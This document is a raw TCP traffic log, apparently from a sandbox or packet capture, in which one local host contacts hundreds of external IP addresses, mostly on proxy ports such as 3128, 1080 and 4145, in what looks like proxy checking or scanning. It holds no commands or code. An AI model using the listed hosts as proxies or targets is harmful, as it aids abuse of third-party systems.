Mar 11, 2024 15:21:03.019882917 CET	80	49746	50.174.214.218	192.168.2.9
Mar 11, 2024 15:21:03.020186901 CET	50043	80	192.168.2.9	45.124.184.13
Mar 11, 2024 15:21:03.020467997 CET	80	51111	104.16.106.65	192.168.2.9
Mar 11, 2024 15:21:03.020684004 CET	51334	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.021817923 CET	51335	3128	192.168.2.9	31.148.7.130
Mar 11, 2024 15:21:03.021884918 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.023014069 CET	51336	8080	192.168.2.9	20.205.115.87
Mar 11, 2024 15:21:03.023129940 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.024277925 CET	80	51133	172.67.181.58	192.168.2.9
Mar 11, 2024 15:21:03.024710894 CET	51337	5678	192.168.2.9	1.15.62.12
Mar 11, 2024 15:21:03.026338100 CET	80	51215	116.203.27.109	192.168.2.9
Mar 11, 2024 15:21:03.026506901 CET	51339	4145	192.168.2.9	36.92.81.181
Mar 11, 2024 15:21:03.026571989 CET	1080	50755	65.1.244.232	192.168.2.9
Mar 11, 2024 15:21:03.027473927 CET	51340	3128	192.168.2.9	185.191.236.162
Mar 11, 2024 15:21:03.028202057 CET	50715	51123	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:03.028225899 CET	50647	1080	192.168.2.9	113.121.66.250
Mar 11, 2024 15:21:03.028238058 CET	50471	57495	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:03.028238058 CET	50885	80	192.168.2.9	50.239.72.19
Mar 11, 2024 15:21:03.028244019 CET	50593	3128	192.168.2.9	213.233.178.137
Mar 11, 2024 15:21:03.028268099 CET	50472	80	192.168.2.9	159.203.13.121
Mar 11, 2024 15:21:03.028270006 CET	50489	5430	192.168.2.9	103.164.190.221
Mar 11, 2024 15:21:03.028268099 CET	50488	80	192.168.2.9	184.169.154.119
Mar 11, 2024 15:21:03.028270006 CET	50475	46849	192.168.2.9	162.241.46.69
Mar 11, 2024 15:21:03.028271914 CET	50511	80	192.168.2.9	188.40.44.95
Mar 11, 2024 15:21:03.028271914 CET	50474	8080	192.168.2.9	5.202.53.65
Mar 11, 2024 15:21:03.028271914 CET	50463	8181	192.168.2.9	103.179.253.202
Mar 11, 2024 15:21:03.028273106 CET	51338	3128	192.168.2.9	5.161.179.239
Mar 11, 2024 15:21:03.028274059 CET	50481	8080	192.168.2.9	189.3.69.230
Mar 11, 2024 15:21:03.028273106 CET	50477	6009	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:03.028287888 CET	50502	49507	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.028291941 CET	49986	2363	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.028292894 CET	50493	5678	192.168.2.9	195.219.98.27
Mar 11, 2024 15:21:03.028292894 CET	50480	1080	192.168.2.9	139.180.140.254
Mar 11, 2024 15:21:03.028292894 CET	50479	8896	192.168.2.9	192.163.201.131
Mar 11, 2024 15:21:03.028292894 CET	50484	80	192.168.2.9	3.128.142.113
Mar 11, 2024 15:21:03.028302908 CET	50496	31337	192.168.2.9	186.251.255.149
Mar 11, 2024 15:21:03.028302908 CET	50495	3128	192.168.2.9	94.100.18.111
Mar 11, 2024 15:21:03.028302908 CET	50499	30885	192.168.2.9	66.29.131.58
Mar 11, 2024 15:21:03.028377056 CET	50498	44826	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:03.028402090 CET	50486	8893	192.168.2.9	186.215.87.194
Mar 11, 2024 15:21:03.028529882 CET	1080	50755	65.1.244.232	192.168.2.9
Mar 11, 2024 15:21:03.028548002 CET	50485	55217	192.168.2.9	85.25.177.53
Mar 11, 2024 15:21:03.028984070 CET	50755	1080	192.168.2.9	65.1.244.232
Mar 11, 2024 15:21:03.029228926 CET	80	51200	104.21.64.208	192.168.2.9
Mar 11, 2024 15:21:03.029273987 CET	51341	8080	192.168.2.9	103.218.25.245
Mar 11, 2024 15:21:03.029328108 CET	80	51200	104.21.64.208	192.168.2.9
Mar 11, 2024 15:21:03.030093908 CET	10008	51095	147.75.92.244	192.168.2.9
Mar 11, 2024 15:21:03.030108929 CET	80	51200	104.21.64.208	192.168.2.9
Mar 11, 2024 15:21:03.030153990 CET	51200	80	192.168.2.9	104.21.64.208
Mar 11, 2024 15:21:03.030153990 CET	51200	80	192.168.2.9	104.21.64.208
Mar 11, 2024 15:21:03.030410051 CET	51095	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:03.031982899 CET	51342	80	192.168.2.9	50.169.118.211
Mar 11, 2024 15:21:03.032356977 CET	51343	999	192.168.2.9	38.41.0.94
Mar 11, 2024 15:21:03.032933950 CET	80	51211	104.17.171.79	192.168.2.9
Mar 11, 2024 15:21:03.032949924 CET	80	51211	104.17.171.79	192.168.2.9
Mar 11, 2024 15:21:03.033348083 CET	51211	80	192.168.2.9	104.17.171.79
Mar 11, 2024 15:21:03.033400059 CET	80	51211	104.17.171.79	192.168.2.9
Mar 11, 2024 15:21:03.033437967 CET	51211	80	192.168.2.9	104.17.171.79
Mar 11, 2024 15:21:03.034723043 CET	51344	64579	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:03.035140991 CET	51345	8080	192.168.2.9	191.240.153.165
Mar 11, 2024 15:21:03.035399914 CET	80	50568	50.172.218.164	192.168.2.9
Mar 11, 2024 15:21:03.035983086 CET	4145	50282	199.102.105.242	192.168.2.9
Mar 11, 2024 15:21:03.036257029 CET	80	51199	162.159.241.12	192.168.2.9
Mar 11, 2024 15:21:03.036268950 CET	80	51199	162.159.241.12	192.168.2.9
Mar 11, 2024 15:21:03.036573887 CET	51199	80	192.168.2.9	162.159.241.12
Mar 11, 2024 15:21:03.038845062 CET	80	51199	162.159.241.12	192.168.2.9
Mar 11, 2024 15:21:03.038858891 CET	999	49975	181.209.78.76	192.168.2.9
Mar 11, 2024 15:21:03.038940907 CET	51199	80	192.168.2.9	162.159.241.12
Mar 11, 2024 15:21:03.039870977 CET	51346	9123	192.168.2.9	173.249.29.243
Mar 11, 2024 15:21:03.041552067 CET	80	51255	104.25.114.28	192.168.2.9
Mar 11, 2024 15:21:03.041915894 CET	51255	80	192.168.2.9	104.25.114.28
Mar 11, 2024 15:21:03.041915894 CET	51255	80	192.168.2.9	104.25.114.28
Mar 11, 2024 15:21:03.041968107 CET	80	50938	190.103.177.131	192.168.2.9
Mar 11, 2024 15:21:03.042346954 CET	51347	39595	192.168.2.9	142.93.66.245
Mar 11, 2024 15:21:03.042495966 CET	51348	8080	192.168.2.9	42.200.196.208
Mar 11, 2024 15:21:03.042692900 CET	4145	51144	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:03.044004917 CET	51349	80	192.168.2.9	119.93.129.34
Mar 11, 2024 15:21:03.044004917 CET	50741	33427	192.168.2.9	5.39.19.154
Mar 11, 2024 15:21:03.044020891 CET	50478	27391	192.168.2.9	38.91.107.224
Mar 11, 2024 15:21:03.044024944 CET	49996	25427	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.044028997 CET	4145	51144	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:03.044045925 CET	50487	4153	192.168.2.9	200.109.65.110
Mar 11, 2024 15:21:03.044048071 CET	50482	3128	192.168.2.9	37.221.94.83
Mar 11, 2024 15:21:03.044045925 CET	50492	8089	192.168.2.9	103.143.8.126
Mar 11, 2024 15:21:03.044048071 CET	50507	80	192.168.2.9	90.188.250.16
Mar 11, 2024 15:21:03.044049025 CET	50503	5678	192.168.2.9	175.100.47.191
Mar 11, 2024 15:21:03.044049025 CET	50504	8181	192.168.2.9	103.234.28.211
Mar 11, 2024 15:21:03.044060946 CET	50506	80	192.168.2.9	198.168.189.54
Mar 11, 2024 15:21:03.044060946 CET	50879	9039	192.168.2.9	67.43.227.228
Mar 11, 2024 15:21:03.044061899 CET	50491	59124	192.168.2.9	5.135.137.13
Mar 11, 2024 15:21:03.044064045 CET	50911	18762	192.168.2.9	192.111.137.37
Mar 11, 2024 15:21:03.044064045 CET	50509	28513	192.168.2.9	213.136.78.200
Mar 11, 2024 15:21:03.044064999 CET	50510	999	192.168.2.9	200.39.139.65
Mar 11, 2024 15:21:03.044064999 CET	50516	56861	192.168.2.9	186.159.3.193
Mar 11, 2024 15:21:03.044069052 CET	50497	8080	192.168.2.9	180.183.59.99
Mar 11, 2024 15:21:03.044073105 CET	50514	31355	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.044084072 CET	50526	999	192.168.2.9	38.56.23.1
Mar 11, 2024 15:21:03.044084072 CET	50527	999	192.168.2.9	186.24.9.114
Mar 11, 2024 15:21:03.044087887 CET	50519	12334	192.168.2.9	146.19.106.145
Mar 11, 2024 15:21:03.044087887 CET	50525	999	192.168.2.9	200.111.249.197
Mar 11, 2024 15:21:03.044090033 CET	50521	999	192.168.2.9	190.97.238.81
Mar 11, 2024 15:21:03.044091940 CET	50518	999	192.168.2.9	181.78.74.78
Mar 11, 2024 15:21:03.044091940 CET	50532	1981	192.168.2.9	165.16.27.36
Mar 11, 2024 15:21:03.044092894 CET	50533	5678	192.168.2.9	103.120.202.53
Mar 11, 2024 15:21:03.044111967 CET	50529	12334	192.168.2.9	146.19.106.42
Mar 11, 2024 15:21:03.044111967 CET	50530	49145	192.168.2.9	161.97.173.78
Mar 11, 2024 15:21:03.045006037 CET	4153	49741	103.209.230.185	192.168.2.9
Mar 11, 2024 15:21:03.045464039 CET	51350	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:03.045726061 CET	51351	8080	192.168.2.9	46.209.54.110
Mar 11, 2024 15:21:03.052378893 CET	1081	50569	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.052397013 CET	1081	50569	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.052692890 CET	8080	50522	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:03.053622007 CET	80	49758	50.173.182.90	192.168.2.9
Mar 11, 2024 15:21:03.053849936 CET	16614	50413	178.62.79.49	192.168.2.9
Mar 11, 2024 15:21:03.054665089 CET	51352	54651	192.168.2.9	95.31.5.29
Mar 11, 2024 15:21:03.055171967 CET	1081	51219	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.055186987 CET	80	50253	75.89.101.62	192.168.2.9
Mar 11, 2024 15:21:03.055242062 CET	51219	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:03.055279016 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:03.055526018 CET	51219	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:03.055816889 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:03.056411028 CET	51353	5678	192.168.2.9	46.200.72.130
Mar 11, 2024 15:21:03.057861090 CET	8080	51216	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:03.058007956 CET	51216	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:03.058759928 CET	51216	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:03.058856010 CET	51354	4153	192.168.2.9	183.88.247.52
Mar 11, 2024 15:21:03.059256077 CET	51355	5678	192.168.2.9	180.178.104.110
Mar 11, 2024 15:21:03.059448957 CET	50513	3260	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:03.059461117 CET	8888	50548	31.43.158.108	192.168.2.9
Mar 11, 2024 15:21:03.059484959 CET	50658	8080	192.168.2.9	206.189.130.107
Mar 11, 2024 15:21:03.059484959 CET	49887	80	192.168.2.9	50.170.90.27
Mar 11, 2024 15:21:03.059495926 CET	50538	24787	192.168.2.9	192.163.200.93
Mar 11, 2024 15:21:03.059495926 CET	50512	21193	192.168.2.9	159.89.194.121
Mar 11, 2024 15:21:03.059495926 CET	50391	80	192.168.2.9	41.207.187.178
Mar 11, 2024 15:21:03.059495926 CET	50534	80	192.168.2.9	51.75.74.18
Mar 11, 2024 15:21:03.059499979 CET	50023	1581	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.059499979 CET	50536	32650	192.168.2.9	197.248.86.237
Mar 11, 2024 15:21:03.059499979 CET	50524	18936	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.059499979 CET	50537	31825	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:03.059499979 CET	50547	5678	192.168.2.9	109.86.228.165
Mar 11, 2024 15:21:03.059499979 CET	50552	1080	192.168.2.9	185.203.220.16
Mar 11, 2024 15:21:03.059504986 CET	50819	3128	192.168.2.9	172.233.255.11
Mar 11, 2024 15:21:03.059504986 CET	50543	8080	192.168.2.9	202.8.74.10
Mar 11, 2024 15:21:03.059508085 CET	50560	8080	192.168.2.9	149.126.101.162
Mar 11, 2024 15:21:03.059508085 CET	50553	4145	192.168.2.9	36.90.60.255
Mar 11, 2024 15:21:03.059514999 CET	50554	32100	192.168.2.9	50.192.49.195
Mar 11, 2024 15:21:03.059530020 CET	50557	5678	192.168.2.9	36.37.189.64
Mar 11, 2024 15:21:03.059552908 CET	50564	4145	192.168.2.9	1.10.133.134
Mar 11, 2024 15:21:03.059582949 CET	50559	30838	192.168.2.9	181.129.138.114
Mar 11, 2024 15:21:03.061868906 CET	51356	4145	192.168.2.9	142.54.236.97
Mar 11, 2024 15:21:03.062079906 CET	51357	29492	192.168.2.9	128.199.218.40
Mar 11, 2024 15:21:03.065068007 CET	80	50637	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.065083981 CET	80	51224	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.065207958 CET	80	50637	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.065222979 CET	16831	51267	205.185.117.77	192.168.2.9
Mar 11, 2024 15:21:03.065340042 CET	51224	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.065403938 CET	4145	50681	199.102.106.94	192.168.2.9
Mar 11, 2024 15:21:03.065498114 CET	51224	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.065632105 CET	5678	50343	185.56.180.14	192.168.2.9
Mar 11, 2024 15:21:03.066989899 CET	8000	49835	142.93.2.226	192.168.2.9
Mar 11, 2024 15:21:03.067004919 CET	25137	50615	92.204.136.149	192.168.2.9
Mar 11, 2024 15:21:03.069366932 CET	51358	8888	192.168.2.9	20.33.5.27
Mar 11, 2024 15:21:03.069906950 CET	60349	50116	132.148.245.247	192.168.2.9
Mar 11, 2024 15:21:03.069972992 CET	51359	8079	192.168.2.9	94.154.152.4
Mar 11, 2024 15:21:03.070024014 CET	50116	60349	192.168.2.9	132.148.245.247
Mar 11, 2024 15:21:03.070596933 CET	51360	80	192.168.2.9	77.48.244.78
Mar 11, 2024 15:21:03.070858955 CET	51361	52163	192.168.2.9	162.214.75.79
Mar 11, 2024 15:21:03.071105003 CET	51362	18701	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:03.071455002 CET	51363	8080	192.168.2.9	160.119.148.190
Mar 11, 2024 15:21:03.071718931 CET	51364	80	192.168.2.9	109.122.195.16
Mar 11, 2024 15:21:03.072061062 CET	51365	80	192.168.2.9	104.24.193.186
Mar 11, 2024 15:21:03.072359085 CET	51366	80	192.168.2.9	103.189.123.149
Mar 11, 2024 15:21:03.072639942 CET	1080	51204	3.108.115.48	192.168.2.9
Mar 11, 2024 15:21:03.072948933 CET	51204	1080	192.168.2.9	3.108.115.48
Mar 11, 2024 15:21:03.072948933 CET	51204	1080	192.168.2.9	3.108.115.48
Mar 11, 2024 15:21:03.072992086 CET	50116	60349	192.168.2.9	132.148.245.247
Mar 11, 2024 15:21:03.073263884 CET	51367	5678	192.168.2.9	45.73.0.118
Mar 11, 2024 15:21:03.073548079 CET	8181	50380	43.132.184.228	192.168.2.9
Mar 11, 2024 15:21:03.074502945 CET	8085	50203	95.38.95.40	192.168.2.9
Mar 11, 2024 15:21:03.074906111 CET	51368	4145	192.168.2.9	142.54.226.214
Mar 11, 2024 15:21:03.075068951 CET	50031	22611	192.168.2.9	67.43.227.228
Mar 11, 2024 15:21:03.075088024 CET	50037	3128	192.168.2.9	84.17.35.129
Mar 11, 2024 15:21:03.075088024 CET	50556	37400	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:03.075108051 CET	50539	52195	192.168.2.9	103.60.186.21
Mar 11, 2024 15:21:03.075109959 CET	50542	8080	192.168.2.9	154.239.9.94
Mar 11, 2024 15:21:03.075109959 CET	50033	19403	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.075110912 CET	50561	48962	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.075110912 CET	50917	5585	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.075133085 CET	50765	1080	192.168.2.9	113.161.248.125
Mar 11, 2024 15:21:03.075134039 CET	50551	9002	192.168.2.9	58.20.248.139
Mar 11, 2024 15:21:03.075135946 CET	50562	8080	192.168.2.9	122.52.196.36
Mar 11, 2024 15:21:03.075135946 CET	50566	8080	192.168.2.9	1.0.171.213
Mar 11, 2024 15:21:03.075135946 CET	50922	11339	192.168.2.9	67.43.228.251
Mar 11, 2024 15:21:03.075198889 CET	50850	5678	192.168.2.9	43.245.243.58
Mar 11, 2024 15:21:03.075201988 CET	50796	3366	192.168.2.9	212.5.143.42
Mar 11, 2024 15:21:03.075268030 CET	50565	999	192.168.2.9	201.77.108.64
Mar 11, 2024 15:21:03.075434923 CET	80	50050	85.8.68.2	192.168.2.9
Mar 11, 2024 15:21:03.077451944 CET	80	50443	50.218.57.70	192.168.2.9
Mar 11, 2024 15:21:03.080060959 CET	80	50947	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:03.081283092 CET	57114	51175	222.129.37.92	192.168.2.9
Mar 11, 2024 15:21:03.082140923 CET	18657	50633	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.082155943 CET	18031	50625	72.10.160.91	192.168.2.9
Mar 11, 2024 15:21:03.082303047 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:03.082315922 CET	8000	50422	66.63.168.119	192.168.2.9
Mar 11, 2024 15:21:03.083887100 CET	9764	51051	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.084645987 CET	51369	8080	192.168.2.9	188.132.222.40
Mar 11, 2024 15:21:03.084822893 CET	3030	49924	158.247.207.153	192.168.2.9
Mar 11, 2024 15:21:03.085220098 CET	51370	22043	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.085484028 CET	51371	80	192.168.2.9	50.145.6.36
Mar 11, 2024 15:21:03.085963964 CET	51372	57377	192.168.2.9	185.23.118.97
Mar 11, 2024 15:21:03.086390018 CET	51373	1080	192.168.2.9	103.47.93.220
Mar 11, 2024 15:21:03.086800098 CET	51374	80	192.168.2.9	133.18.234.13
Mar 11, 2024 15:21:03.087105036 CET	80	50401	50.170.90.29	192.168.2.9
Mar 11, 2024 15:21:03.087153912 CET	51375	1976	192.168.2.9	41.65.55.10
Mar 11, 2024 15:21:03.087762117 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:03.089180946 CET	50412	3128	192.168.2.9	103.42.57.13
Mar 11, 2024 15:21:03.089180946 CET	50046	8197	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.089201927 CET	51008	80	192.168.2.9	50.239.72.17
Mar 11, 2024 15:21:03.090241909 CET	51376	31794	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.090697050 CET	50933	15587	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:03.090728998 CET	50831	30172	192.168.2.9	176.9.119.252
Mar 11, 2024 15:21:03.090792894 CET	50946	15864	192.168.2.9	192.252.214.20
Mar 11, 2024 15:21:03.091270924 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:03.092449903 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.092463017 CET	80	50690	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.092609882 CET	80	50690	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.092622042 CET	8080	51194	119.18.149.34	192.168.2.9
Mar 11, 2024 15:21:03.092691898 CET	51194	8080	192.168.2.9	119.18.149.34
Mar 11, 2024 15:21:03.093852043 CET	80	51240	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.094043016 CET	51194	8080	192.168.2.9	119.18.149.34
Mar 11, 2024 15:21:03.094043016 CET	51240	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:03.094084978 CET	51240	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:03.094589949 CET	3128	51104	3.122.84.99	192.168.2.9
Mar 11, 2024 15:21:03.094835997 CET	80	50919	203.171.19.99	192.168.2.9
Mar 11, 2024 15:21:03.094849110 CET	80	50919	203.171.19.99	192.168.2.9
Mar 11, 2024 15:21:03.096000910 CET	4145	50767	199.102.104.70	192.168.2.9
Mar 11, 2024 15:21:03.096280098 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:03.096477032 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:03.096489906 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:03.096568108 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:03.096858025 CET	80	51097	5.135.83.214	192.168.2.9
Mar 11, 2024 15:21:03.096920967 CET	80	51097	5.135.83.214	192.168.2.9
Mar 11, 2024 15:21:03.096931934 CET	80	51097	5.135.83.214	192.168.2.9
Mar 11, 2024 15:21:03.096997976 CET	51097	80	192.168.2.9	5.135.83.214
Mar 11, 2024 15:21:03.097182989 CET	51377	3128	192.168.2.9	103.110.11.122
Mar 11, 2024 15:21:03.097214937 CET	3128	51104	3.122.84.99	192.168.2.9
Mar 11, 2024 15:21:03.097584963 CET	51378	32708	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:03.097636938 CET	11691	49845	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:03.098216057 CET	80	51235	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:03.098297119 CET	51235	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:03.098742008 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:03.100438118 CET	45517	51107	176.31.110.126	192.168.2.9
Mar 11, 2024 15:21:03.100450993 CET	45517	51107	176.31.110.126	192.168.2.9
Mar 11, 2024 15:21:03.100730896 CET	9764	51051	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.101672888 CET	17982	50192	51.89.173.40	192.168.2.9
Mar 11, 2024 15:21:03.101748943 CET	50192	17982	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.104161978 CET	58630	51217	51.81.186.179	192.168.2.9
Mar 11, 2024 15:21:03.104547024 CET	58630	51217	51.81.186.179	192.168.2.9
Mar 11, 2024 15:21:03.104682922 CET	80	51239	50.170.90.26	192.168.2.9
Mar 11, 2024 15:21:03.104774952 CET	80	50500	50.222.245.50	192.168.2.9
Mar 11, 2024 15:21:03.104929924 CET	9002	50275	111.59.4.88	192.168.2.9
Mar 11, 2024 15:21:03.104943037 CET	9764	51252	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.105199099 CET	51252	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.105696917 CET	9002	50275	111.59.4.88	192.168.2.9
Mar 11, 2024 15:21:03.105709076 CET	51097	80	192.168.2.9	5.135.83.214
Mar 11, 2024 15:21:03.105763912 CET	9002	50275	111.59.4.88	192.168.2.9
Mar 11, 2024 15:21:03.105802059 CET	50275	9002	192.168.2.9	111.59.4.88
Mar 11, 2024 15:21:03.105950117 CET	51104	3128	192.168.2.9	3.122.84.99
Mar 11, 2024 15:21:03.106331110 CET	49962	80	192.168.2.9	50.173.140.149
Mar 11, 2024 15:21:03.106333971 CET	50944	23685	192.168.2.9	67.43.227.230
Mar 11, 2024 15:21:03.106343985 CET	50815	1080	192.168.2.9	202.21.112.172
Mar 11, 2024 15:21:03.106348991 CET	51042	34455	192.168.2.9	162.241.137.197
Mar 11, 2024 15:21:03.106360912 CET	50949	3199	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.106364012 CET	50578	28080	192.168.2.9	38.48.96.4
Mar 11, 2024 15:21:03.106365919 CET	50571	16379	192.168.2.9	163.172.147.89
Mar 11, 2024 15:21:03.106369019 CET	50053	10677	192.168.2.9	72.10.160.173
Mar 11, 2024 15:21:03.106380939 CET	50579	63404	192.168.2.9	51.161.33.206
Mar 11, 2024 15:21:03.106381893 CET	50581	80	192.168.2.9	75.84.199.80
Mar 11, 2024 15:21:03.106380939 CET	50585	999	192.168.2.9	201.71.3.42
Mar 11, 2024 15:21:03.106384039 CET	50575	80	192.168.2.9	46.101.19.131
Mar 11, 2024 15:21:03.106384039 CET	50594	80	192.168.2.9	43.153.66.118
Mar 11, 2024 15:21:03.106384039 CET	50597	8080	192.168.2.9	81.94.255.13
Mar 11, 2024 15:21:03.106399059 CET	50588	3128	192.168.2.9	187.60.219.4
Mar 11, 2024 15:21:03.106399059 CET	50589	80	192.168.2.9	51.75.206.209
Mar 11, 2024 15:21:03.106404066 CET	50605	84	192.168.2.9	103.255.145.62
Mar 11, 2024 15:21:03.106404066 CET	50606	53471	192.168.2.9	37.44.238.2
Mar 11, 2024 15:21:03.106404066 CET	50572	32100	192.168.2.9	50.238.47.86
Mar 11, 2024 15:21:03.106404066 CET	50590	8090	192.168.2.9	27.147.139.154
Mar 11, 2024 15:21:03.106404066 CET	50592	8089	192.168.2.9	125.87.84.46
Mar 11, 2024 15:21:03.106415033 CET	50602	3128	192.168.2.9	130.162.243.68
Mar 11, 2024 15:21:03.106416941 CET	50614	3629	192.168.2.9	103.105.103.17
Mar 11, 2024 15:21:03.106416941 CET	50603	38390	192.168.2.9	163.172.94.175
Mar 11, 2024 15:21:03.106416941 CET	50599	1080	192.168.2.9	176.115.79.195
Mar 11, 2024 15:21:03.106417894 CET	50616	8080	192.168.2.9	103.160.205.82
Mar 11, 2024 15:21:03.106421947 CET	50607	80	192.168.2.9	201.39.229.148
Mar 11, 2024 15:21:03.106466055 CET	50584	3128	192.168.2.9	182.53.50.2
Mar 11, 2024 15:21:03.106479883 CET	50621	999	192.168.2.9	45.174.57.22
Mar 11, 2024 15:21:03.106595993 CET	50600	8080	192.168.2.9	182.160.109.162
Mar 11, 2024 15:21:03.107496023 CET	80	50676	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:03.107768059 CET	15673	50877	43.133.74.172	192.168.2.9
Mar 11, 2024 15:21:03.108769894 CET	80	50240	23.254.231.55	192.168.2.9
Mar 11, 2024 15:21:03.108784914 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.108850002 CET	50240	80	192.168.2.9	23.254.231.55
Mar 11, 2024 15:21:03.108921051 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.108988047 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109000921 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109047890 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.109047890 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.109102011 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109149933 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109162092 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109198093 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.109206915 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109246969 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.109287024 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.109364033 CET	51379	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:03.109570980 CET	51235	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:03.110241890 CET	19001	50373	8.210.208.148	192.168.2.9
Mar 11, 2024 15:21:03.112044096 CET	50192	17982	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.112896919 CET	80	50654	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:03.112996101 CET	13351	49853	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.113292933 CET	51380	45517	192.168.2.9	176.31.110.126
Mar 11, 2024 15:21:03.113616943 CET	51381	58630	192.168.2.9	51.81.186.179
Mar 11, 2024 15:21:03.113825083 CET	51252	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.114305019 CET	50275	9002	192.168.2.9	111.59.4.88
Mar 11, 2024 15:21:03.116144896 CET	51382	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:03.116144896 CET	50240	80	192.168.2.9	23.254.231.55
Mar 11, 2024 15:21:03.117022038 CET	80	51298	185.162.228.170	192.168.2.9
Mar 11, 2024 15:21:03.117243052 CET	1080	50980	171.247.245.221	192.168.2.9
Mar 11, 2024 15:21:03.117331028 CET	51298	80	192.168.2.9	185.162.228.170
Mar 11, 2024 15:21:03.117398024 CET	8080	50573	219.243.212.118	192.168.2.9
Mar 11, 2024 15:21:03.118067026 CET	51298	80	192.168.2.9	185.162.228.170
Mar 11, 2024 15:21:03.121000051 CET	4145	51284	192.111.134.10	192.168.2.9
Mar 11, 2024 15:21:03.121437073 CET	57320	50167	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:03.121481895 CET	50167	57320	192.168.2.9	91.134.140.160
